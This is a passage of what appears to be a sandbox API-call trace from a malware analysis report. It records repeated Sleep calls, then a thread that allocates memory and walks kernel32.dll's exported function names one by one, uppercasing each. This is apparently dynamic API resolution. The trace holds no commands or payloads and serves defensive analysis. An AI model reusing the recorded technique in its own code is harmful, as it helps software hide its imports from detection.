(dwMilliseconds=0x3e8) [0063.518] Sleep (dwMilliseconds=0x3e8) [0064.517] Sleep (dwMilliseconds=0x3e8) [0065.598] Sleep (dwMilliseconds=0x3e8) [0066.607] Sleep (dwMilliseconds=0x3e8) [0067.621] Sleep (dwMilliseconds=0x3e8) [0068.649] Sleep (dwMilliseconds=0x3e8) [0069.679] Sleep (dwMilliseconds=0x3e8) [0070.754] Sleep (dwMilliseconds=0x3e8) [0071.803] Sleep (dwMilliseconds=0x3e8) [0073.273] Sleep (dwMilliseconds=0x3e8) [0074.329] Sleep (dwMilliseconds=0x3e8) [0075.501] Sleep (dwMilliseconds=0x3e8) Thread: id = 58 os_tid = 0xa70 [0053.914] VirtualAlloc (lpAddress=0x0, dwSize=0xf7, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0053.915] GetTickCount () returned 0x1cd8b [0053.915] VirtualAlloc (lpAddress=0x0, dwSize=0xb, flAllocationType=0x3000, flProtect=0x4) returned 0x2ef0000 [0053.915] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x2f00000 [0053.915] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0053.916] GetTickCount () returned 0x1cd8b [0053.916] GetTickCount () returned 0x1cd8b [0053.916] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0053.916] lstrlenA (lpString="kernel32.dll") returned 12 [0053.916] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0053.916] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0053.916] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0053.916] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0053.916] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0053.916] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0053.916] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0053.916] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0053.916] lstrlenA (lpString="ADDATOMA") returned 8 [0053.916] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0053.916] lstrlenA (lpString="ADDATOMW") returned 8 [0053.916] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0053.917] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0053.917] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0053.917] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0053.917] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0053.917] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0053.917] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0053.917] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0053.917] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0053.917] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0053.917] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0053.917] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0053.917] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0053.917] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0053.917] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0053.917] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0053.917] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0053.917] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0053.918] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0053.918] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0053.918] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0053.918] lstrlenA (lpString="BACKUPREAD") returned 10 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0053.918] lstrlenA (lpString="BACKUPSEEK") returned 10 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0053.918] lstrlenA (lpString="BACKUPWRITE") returned 11 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0053.918] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0053.918] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0053.918] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0053.918] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0053.918] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0053.918] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0053.918] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0053.918] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0053.918] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0053.918] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0053.918] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0053.919] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0053.919] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0053.919] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0053.919] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0053.919] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0053.919] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0053.919] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0053.919] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0053.919] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0053.919] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0053.919] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0053.919] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0053.919] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0053.919] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0053.919] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0053.919] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0053.919] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0053.919] lstrlenA (lpString="BEEP") returned 4 [0053.919] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0053.920] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0053.920] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0053.920] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0053.920] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0053.920] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0053.920] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0053.920] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0053.920] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0053.920] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0053.920] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0053.920] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0053.920] lstrlenA (lpString="CANCELIO") returned 8 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0053.920] lstrlenA (lpString="CANCELIOEX") returned 10 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0053.920] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0053.920] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0053.920] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0053.920] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0053.920] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0053.920] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0053.920] lstrlenA (lpString="CHECKELEVATION") returned 14 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0053.921] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0053.921] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0053.921] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0053.921] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0053.921] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0053.921] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0053.921] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0053.921] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0053.921] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0053.921] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0053.921] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0053.921] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0053.921] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0053.921] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0053.921] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0053.921] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0053.921] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0053.921] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0053.921] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0053.922] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0053.922] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0053.922] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0053.922] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0053.922] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0053.922] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0053.922] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0053.922] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0053.922] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0053.922] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0053.922] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0053.922] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0053.922] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0053.922] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0053.922] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0053.922] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0053.922] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0053.922] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0053.922] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0053.923] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0053.923] lstrlenA (lpString="COPYCONTEXT") returned 11 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0053.923] lstrlenA (lpString="COPYFILEA") returned 9 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0053.923] lstrlenA (lpString="COPYFILEEXA") returned 11 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0053.923] lstrlenA (lpString="COPYFILEEXW") returned 11 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0053.923] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0053.923] lstrcpyA (in: lpString1=0x2c4f190, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") 